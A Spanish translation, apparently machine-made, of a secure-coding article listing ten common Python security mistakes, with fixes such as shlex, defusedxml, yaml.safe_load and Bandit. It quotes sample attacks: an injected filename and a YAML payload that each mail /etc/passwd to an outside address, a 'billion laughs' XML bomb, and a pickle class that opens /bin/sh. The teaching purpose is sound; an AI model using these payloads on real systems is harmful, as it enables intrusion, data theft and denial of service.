Los 10 errores de seguridad más comunes en Python y cómo evitarlos

Hola a todos!

Nuestro próximo grupo de Python comenzó con éxito el lunes, pero todavía tenemos un material más que no pudimos colocar antes del inicio. Corregimos nuestro error y esperamos que te guste.

Vamos!

Escribir código seguro es difícil. Cuando aprenda un idioma, módulo o marco, aprenderá a usarlo. También debe pensar cómo se pueden usar incorrectamente en un contexto de seguridad. Python no es una excepción, incluso la documentación de la biblioteca estándar contiene descripciones de malas prácticas de escritura para aplicaciones seguras. Sin embargo, muchos desarrolladores de Python simplemente no los conocen.



Aquí están mis 10 principales (en orden aleatorio) de los errores más comunes en las aplicaciones de Python.

1. inyección


Hay muchos tipos de ataques de inyección de código, y todos son bastante comunes. Afectan a todos los idiomas, marcos y entornos.

La inyección de SQL es cuando escribe consultas SQL directamente, en lugar de usar ORM, y mezcla literales de cadena con variables. Leí mucho código en el que las "citas de escape" se consideran una solución. Esto no es asi. Puede familiarizarse con muchas formas de incrustar SQL en esta hoja de trucos .

La inyección de comandos es cuando en cualquier momento llamas a un proceso usando popen, subprocess, os.system y aceptas argumentos de variables. Al llamar a comandos locales, existe la posibilidad de que alguien establezca estos valores en algo malicioso.

Imagina este simple script [crédito] . Llame al subproceso con el nombre de archivo proporcionado por el usuario:

import subprocess def transcode_file(request, filename): command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename) subprocess.call(command, shell=True) # a bad idea! 

Un atacante establece el valor en nombre de archivo "; cat /etc/passwd | mail them@domain.com o algo igual de peligroso.

Solución:

Esterilice la entrada con las utilidades que vienen con su marco web si usa una. A menos que tenga una buena razón, no cree consultas SQL manualmente. La mayoría de los ORM tienen métodos de desinfección incorporados.

Para un shell, use el módulo shlex para proteger adecuadamente la entrada .

2.Parqueando XML


Si su aplicación descarga y analiza archivos XML, es probable que esté utilizando uno de los módulos de biblioteca XML estándar. Hay varios ataques comunes a través de XML. Principalmente estilo DoS (diseñado para soltar el sistema, no para filtrar datos). Estos ataques son bastante comunes, especialmente si está analizando archivos XML externos (es decir, aquellos en los que no se puede confiar).

Uno de ellos se llama "billones de risas" (literalmente "billones de risas") debido a la carga útil, que generalmente contiene muchos (billones) de "jajaja". Básicamente, la idea es que puede hacer objetos de referencia en XML, por lo que cuando su analizador XML sin pretensiones intenta cargar este archivo en la memoria, consume gigabytes de RAM. Pruébalo si no me crees :-)

 <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> 

Otros ataques utilizan la expansión de una entidad externa. XML admite referencias de entidad desde URL externas, el analizador XML generalmente solicita y carga este recurso sin ningún problema. "Un atacante puede evitar los firewalls y obtener acceso a recursos limitados porque todas las solicitudes se realizan desde una dirección IP interna y confiable, no desde el exterior".

Otra situación que vale la pena considerar son los paquetes de decodificación XML de terceros de los que depende, como archivos de configuración, API remotas. Es posible que ni siquiera sospeche que una de sus dependencias está abierta a este tipo de ataques.
¿Qué está pasando en Python? Bueno, los módulos de biblioteca estándar, etree, DOM, xmlrpc están abiertos para tales ataques. Esto está bien documentado aquí .

Solución:

Use defusedxml como reemplazo de los módulos de biblioteca estándar. Agrega medidas defensivas contra este tipo de ataques.

3. Instrucciones de afirmación


No use la assert para proteger fragmentos de código a los que el usuario no debe acceder. Tome este simple ejemplo:

 def foo(request, user): assert user.is_admin, “user does not have access” # secure code... 

Ahora, por defecto, Python se ejecuta con __debug__ igual a verdadero, pero en un entorno de combate generalmente comienza con la optimización. Se omitirá la instrucción de aserción y el programa irá directamente al código protegido, independientemente de si el usuario es is_admin o no.

Solución:

Utilice las instrucciones de assert solo para la interacción con otros desarrolladores, por ejemplo, en pruebas unitarias o para protegerse contra el uso incorrecto de la API.

4. Ataques temporales.


Los ataques temporales son, en esencia, una forma de exponer el comportamiento y el algoritmo de un programa al determinar el tiempo requerido para comparar los valores proporcionados. Los ataques temporales requieren precisión, por lo que generalmente no funcionan en una red remota con alta latencia. Debido al retraso variable asociado con la mayoría de las aplicaciones web, es casi imposible registrar un ataque temporal a través de servidores web HTTP.

Pero si tiene una aplicación de línea de comando que solicita una contraseña, un atacante puede escribir un script simple para calcular cuánto tiempo lleva comparar sus valores con la contraseña real. Un ejemplo

Si desea ver cómo funcionan, hay algunos ejemplos impresionantes, como este ataque SSH temporal escrito en Python.

Solución:

Use secrets.compare_digest introducido en Python 3.5 para comparar contraseñas y otros valores privados.

5. Paquetes de sitio contaminados o ruta de importación


Python tiene un sistema de importación muy flexible. Esto es genial cuando intentas escribir parches de mono para tus pruebas o sobrecargar las funciones principales.

Pero este es uno de los mayores agujeros de seguridad en Python.

La instalación de paquetes de terceros en sus paquetes de sitio, ya sea en un entorno virtual o en paquetes de sitio globales (lo que generalmente desalienta), le proporciona agujeros de seguridad en estos paquetes.

Ha habido casos de publicación de paquetes PyPi con nombres similares a los nombres de paquetes populares pero ejecutando código arbitrario . El mayor incidente, afortunadamente, no fue peligroso y simplemente "puso fin" al hecho de que no prestaron atención al problema.

Otra situación en la que pensar es en las dependencias de sus dependencias (etc.). Pueden incluir vulnerabilidades y también pueden anular el comportamiento predeterminado en Python a través del sistema de importación.

Solución:

Revisa tus paquetes. Eche un vistazo a PyUp.io y su equipo de seguridad. Use un entorno virtual para todas las aplicaciones y asegúrese de que sus paquetes globales del sitio estén lo más limpios posible. Verifique las firmas del paquete.

6. archivos temporales


Para crear archivos temporales en Python, generalmente primero se genera el nombre del archivo con la mktemp() y luego se crea el archivo con el nombre generado. "Esto no es seguro porque otro proceso puede crear un archivo con el mismo nombre entre el momento en que mktemp() llama a mktemp() y el intento posterior de crear el archivo mediante el primer proceso". Esto significa que puede engañar a su aplicación descargando datos incorrectos o poniendo en peligro otros datos temporales.

Las versiones recientes de Python mostrarán una advertencia de tiempo de ejecución si llama al método incorrecto.

Solución:

Use el módulo tempfile y use mkstemp si necesita crear archivos temporales.

7. Usando yaml.load


Citando la documentación de PyYAML:

Advertencia ¡No es seguro llamar a yaml.load con ningún dato recibido de una fuente no confiable! yaml.load es tan eficiente como pickle.load y, por lo tanto, puede llamar a cualquier función de Python.

Este gran ejemplo se encuentra en el popular proyecto Ansible. Puede darle a Ansible Vault un valor como YAML (válido). Llama a os.system() con los argumentos proporcionados en el archivo.

 !!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"] 

Por lo tanto, al cargar archivos YAML desde valores proporcionados por el usuario, está ampliamente abierto a ataques.


Demostración de esto en acción, gracias Anthony Sottile

Solución:

Use yaml.safe_load , casi siempre, a menos que tenga una buena razón para no hacerlo.

8. Encurtidos


Deserializar los datos enlatados es tan malo como YAML. Las clases de Python pueden declarar un método mágico __reduce__ que devuelve una cadena, o una tupla con un invocable, y pasa argumentos para __reduce__ a la conservación. Un atacante puede usar esto para incluir enlaces a uno de los módulos de subproceso para ejecutar comandos arbitrarios en el host.

Este notable ejemplo muestra cómo preservar una clase que abre un shell en Python 2. Hay muchos más ejemplos de cómo usar pickle.

 import cPickle import subprocess import base64 class RunBinSh(object): def __reduce__(self): return (subprocess.Popen, (('/bin/sh',),)) print base64.b64encode(cPickle.dumps(RunBinSh())) 

Solución:

Nunca vuelva a abrir datos de una fuente no confiable o no verificada. En su lugar, use un patrón de serialización diferente, como JSON.

9. Usa el sistema de tiempo de ejecución de Python y no lo parches


La mayoría de los sistemas POSIX vienen con una versión de Python 2. Naturalmente, ya obsoleta.

Como Python, es decir, CPython está escrito en C, hay momentos en que el intérprete de Python tiene agujeros. Los problemas de seguridad comunes en C se relacionan con la asignación de memoria, así como con los errores de desbordamiento del búfer.

Con los años, CPython ha tenido varias vulnerabilidades de gran tamaño o desbordamiento, cada una de las cuales se ha corregido y corregido en versiones posteriores.
Entonces estás a salvo. Más precisamente, si instala parches para su tiempo de ejecución .

Aquí hay un ejemplo para la versión 2.7.13 y siguientes , una vulnerabilidad de desbordamiento de enteros que permite ejecutar código. Este ejemplo es para cualquier Ubuntu hasta la versión 17 sin parches instalados.

Solución:

¡Instala la última versión de Python para tus aplicaciones de combate y todos los parches!

10. No instale parches para sus dependencias


Del mismo modo que no instala parches para su tiempo de ejecución, también necesita instalar parches regularmente para sus dependencias.

Creo que la práctica de "anclar" versiones de Python de paquetes PyPi en paquetes es horrible. La idea es que " estas son versiones que funcionan " , por lo que todos la dejan en paz.

Todas las vulnerabilidades de código que mencioné anteriormente son tan importantes cuando existen en los paquetes que usa su aplicación. Los desarrolladores de estos paquetes solucionan problemas de seguridad. Todo el tiempo

Solución:

Use servicios como PyUp.io para buscar actualizaciones, configurar solicitudes de descarga / fusión en la aplicación y ejecutar pruebas para actualizar paquetes.
Utilice herramientas, como InSpec, para verificar las versiones instaladas en un entorno de producción y para proporcionar soluciones para versiones mínimas o rangos de versiones.

¿Has probado Bandit?

¡Hay un gran linter estático que encontrará todos estos problemas en su código y mucho más! Se llama bandido, solo pip install bandit y bandit ./codedir

PyCQA / bandido

Gracias a RedHat por este maravilloso artículo que utilicé en algunas de mis investigaciones.

¡FIN!

Como siempre, estaremos encantados de ver sus comentarios y preguntas :)

Source: https://habr.com/ru/post/es420441/


All Articles